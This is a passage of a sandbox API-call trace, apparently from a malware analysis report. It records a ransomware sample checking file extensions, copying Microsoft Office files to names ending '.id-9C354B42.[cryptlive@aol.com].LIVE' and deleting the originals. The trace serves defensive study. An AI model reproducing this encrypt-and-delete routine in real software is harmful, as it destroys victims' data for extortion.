lpString2=".FAE") returned 1 [0152.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0152.676] lstrlenW (lpString=".zip") returned 4 [0152.676] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.676] lstrlenW (lpString=".rar") returned 4 [0152.676] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.676] lstrlenW (lpString=".bz2") returned 4 [0152.676] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.676] lstrlenW (lpString=".7z") returned 3 [0152.676] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0152.676] lstrlenW (lpString=".dbf") returned 4 [0152.676] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0152.676] lstrlenW (lpString=".1cd") returned 4 [0152.676] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0152.676] lstrlenW (lpString=".jpg") returned 4 [0152.676] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0152.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0152.676] lstrlenW (lpString=".doc") returned 4 [0152.676] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.676] lstrlenW (lpString=".docx") returned 5 [0152.676] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.676] lstrlenW (lpString=".pdf") returned 4 [0152.677] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.677] lstrlenW (lpString=".xls") returned 4 [0152.677] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.677] lstrlenW (lpString=".xlsx") returned 5 [0152.677] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.677] lstrlenW (lpString=".ppt") returned 4 [0152.677] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0152.677] lstrlenW (lpString=".zip") returned 4 [0152.677] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.677] lstrlenW (lpString=".rar") returned 4 [0152.677] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.677] lstrlenW (lpString=".bz2") returned 4 [0152.677] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.677] lstrlenW (lpString=".7z") returned 3 [0152.677] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0152.677] lstrlenW (lpString=".dbf") returned 4 [0152.677] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0152.677] lstrlenW (lpString=".1cd") returned 4 [0152.677] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0152.677] lstrlenW (lpString=".jpg") returned 4 [0152.677] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.677] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0152.677] lstrlenW (lpString="OLNOTER.FAE") returned 11 [0152.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0152.678] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=9648) returned 1 [0152.678] CloseHandle (hObject=0x350) returned 1 [0152.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae")) returned 0x20 [0152.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0152.679] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.679] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0152.679] GetLastError () returned 0x0 [0152.679] ReadFile (in: hFile=0x350, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x25b0, lpOverlapped=0x0) returned 1 [0152.716] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x25c0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x25c0, lpOverlapped=0x0) returned 1 [0152.717] ReadFile (in: hFile=0x350, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.717] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0152.717] SetEndOfFile (hFile=0x380) returned 1 [0152.718] CloseHandle (hObject=0x380) returned 1 [0152.718] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.718] SetEndOfFile (hFile=0x350) returned 1 [0152.720] CloseHandle (hObject=0x350) returned 1 [0152.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae")) returned 1 [0152.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0152.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0152.721] lstrlenW (lpString=".doc") returned 4 [0152.721] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.721] lstrlenW (lpString=".docx") returned 5 [0152.721] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.721] lstrlenW (lpString=".pdf") returned 4 [0152.721] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.721] lstrlenW (lpString=".xls") returned 4 [0152.721] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.722] lstrlenW (lpString=".xlsx") returned 5 [0152.722] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.722] lstrlenW (lpString=".ppt") returned 4 [0152.722] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0152.722] lstrlenW (lpString=".zip") returned 4 [0152.722] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.722] lstrlenW (lpString=".rar") returned 4 [0152.722] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.722] lstrlenW (lpString=".bz2") returned 4 [0152.722] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.722] lstrlenW (lpString=".7z") returned 3 [0152.722] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0152.722] lstrlenW (lpString=".dbf") returned 4 [0152.722] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0152.722] lstrlenW (lpString=".1cd") returned 4 [0152.722] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0152.722] lstrlenW (lpString=".jpg") returned 4 [0152.722] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0152.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0152.722] lstrlenW (lpString=".doc") returned 4 [0152.722] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.722] lstrlenW (lpString=".docx") returned 5 [0152.722] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.722] lstrlenW (lpString=".pdf") returned 4 [0152.722] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.722] lstrlenW (lpString=".xls") returned 4 [0152.722] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.723] lstrlenW (lpString=".xlsx") returned 5 [0152.723] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.723] lstrlenW (lpString=".ppt") returned 4 [0152.723] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0152.723] lstrlenW (lpString=".zip") returned 4 [0152.723] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.723] lstrlenW (lpString=".rar") returned 4 [0152.723] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.723] lstrlenW (lpString=".bz2") returned 4 [0152.723] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.723] lstrlenW (lpString=".7z") returned 3 [0152.723] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0152.723] lstrlenW (lpString=".dbf") returned 4 [0152.723] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0152.723] lstrlenW (lpString=".1cd") returned 4 [0152.723] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0152.723] lstrlenW (lpString=".jpg") returned 4 [0152.723] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.723] lstrcmpiW (lpString1=".SAM", lpString2=".LIVE") returned 1 [0152.723] lstrlenW (lpString="ORG97R.SAM") returned 10 [0152.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0152.724] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=12704) returned 1 [0152.724] CloseHandle (hObject=0x350) returned 1 [0152.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam")) returned 0x20 [0152.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0152.724] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.724] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0152.725] GetLastError () returned 0x0 [0152.725] ReadFile (in: hFile=0x350, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x31a0, lpOverlapped=0x0) returned 1 [0152.775] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x31b0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x31b0, lpOverlapped=0x0) returned 1 [0152.776] ReadFile (in: hFile=0x350, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.777] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0152.777] SetEndOfFile (hFile=0x380) returned 1 [0152.777] CloseHandle (hObject=0x380) returned 1 [0152.777] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.777] SetEndOfFile (hFile=0x350) returned 1 [0152.779] CloseHandle (hObject=0x350) returned 1 [0152.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam")) returned 1 [0152.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0152.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0152.780] lstrlenW (lpString=".doc") returned 4 [0152.780] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0152.780] lstrlenW (lpString=".docx") returned 5 [0152.780] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0152.780] lstrlenW (lpString=".pdf") returned 4 [0152.780] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0152.780] lstrlenW (lpString=".xls") returned 4 [0152.780] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0152.780] lstrlenW (lpString=".xlsx") returned 5 [0152.781] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0152.781] lstrlenW (lpString=".ppt") returned 4 [0152.781] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0152.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0152.781] lstrlenW (lpString=".zip") returned 4 [0152.781] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0152.781] lstrlenW (lpString=".rar") returned 4 [0152.781] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0152.781] lstrlenW (lpString=".bz2") returned 4 [0152.781] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0152.781] lstrlenW (lpString=".7z") returned 3 [0152.781] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0152.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0152.781] lstrlenW (lpString=".dbf") returned 4 [0152.781] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0152.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0152.781] lstrlenW (lpString=".1cd") returned 4 [0152.781] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0152.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0152.967] lstrlenW (lpString=".jpg") returned 4 [0152.967] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0152.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0152.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0152.967] lstrlenW (lpString=".doc") returned 4 [0152.967] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0152.967] lstrlenW (lpString=".docx") returned 5 [0152.967] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1 [0152.967] lstrlenW (lpString=".pdf") returned 4 [0152.967] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0152.968] lstrlenW (lpString=".xls") returned 4 [0152.968] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0152.968] lstrlenW (lpString=".xlsx") returned 5 [0152.968] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1 [0152.968] lstrlenW (lpString=".ppt") returned 4 [0152.968] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0152.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0152.968] lstrlenW (lpString=".zip") returned 4 [0152.968] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0152.968] lstrlenW (lpString=".rar") returned 4 [0152.968] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0152.968] lstrlenW (lpString=".bz2") returned 4 [0152.968] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0152.968] lstrlenW (lpString=".7z") returned 3 [0152.968] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0152.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0152.968] lstrlenW (lpString=".dbf") returned 4 [0152.968] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0152.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0152.968] lstrlenW (lpString=".1cd") returned 4 [0152.969] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0152.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM") returned 66 [0152.969] lstrlenW (lpString=".jpg") returned 4 [0152.969] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0152.969] lstrcmpiW (lpString1=".SAM", lpString2=".LIVE") returned 1 [0152.969] lstrlenW (lpString="ODBC.SAM") returned 8 [0152.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0152.996] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=63864) returned 1 [0152.996] CloseHandle (hObject=0x1f8) returned 1 [0152.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam")) returned 0x20 [0152.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0152.997] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.997] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0152.998] GetLastError () returned 0x0 [0152.998] ReadFile (in: hFile=0x1f8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xf978, lpOverlapped=0x0) returned 1 [0153.035] WriteFile (in: hFile=0x350, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf980, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf980, lpOverlapped=0x0) returned 1 [0153.037] ReadFile (in: hFile=0x1f8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.037] WriteFile (in: hFile=0x350, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0153.037] SetEndOfFile (hFile=0x350) returned 1 [0153.037] CloseHandle (hObject=0x350) returned 1 [0153.037] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.037] SetEndOfFile (hFile=0x1f8) returned 1 [0153.040] CloseHandle (hObject=0x1f8) returned 1 [0153.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\odbc.sam")) returned 1 [0153.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0153.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0153.041] lstrlenW (lpString=".doc") returned 4 [0153.041] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0153.041] lstrlenW (lpString=".docx") returned 5 [0153.041] lstrcmpiW (lpString1=".docx", lpString2="C.SAM") returned -1 [0153.041] lstrlenW (lpString=".pdf") returned 4 [0153.041] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0153.041] lstrlenW (lpString=".xls") returned 4 [0153.041] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0153.042] lstrlenW (lpString=".xlsx") returned 5 [0153.042] lstrcmpiW (lpString1=".xlsx", lpString2="C.SAM") returned -1 [0153.042] lstrlenW (lpString=".ppt") returned 4 [0153.042] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0153.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0153.042] lstrlenW (lpString=".zip") returned 4 [0153.042] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0153.042] lstrlenW (lpString=".rar") returned 4 [0153.042] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0153.042] lstrlenW (lpString=".bz2") returned 4 [0153.042] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0153.042] lstrlenW (lpString=".7z") returned 3 [0153.042] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0153.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0153.042] lstrlenW (lpString=".dbf") returned 4 [0153.042] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0153.042] lstrlenW (lpString="C:\\Program Files\\Microsoft 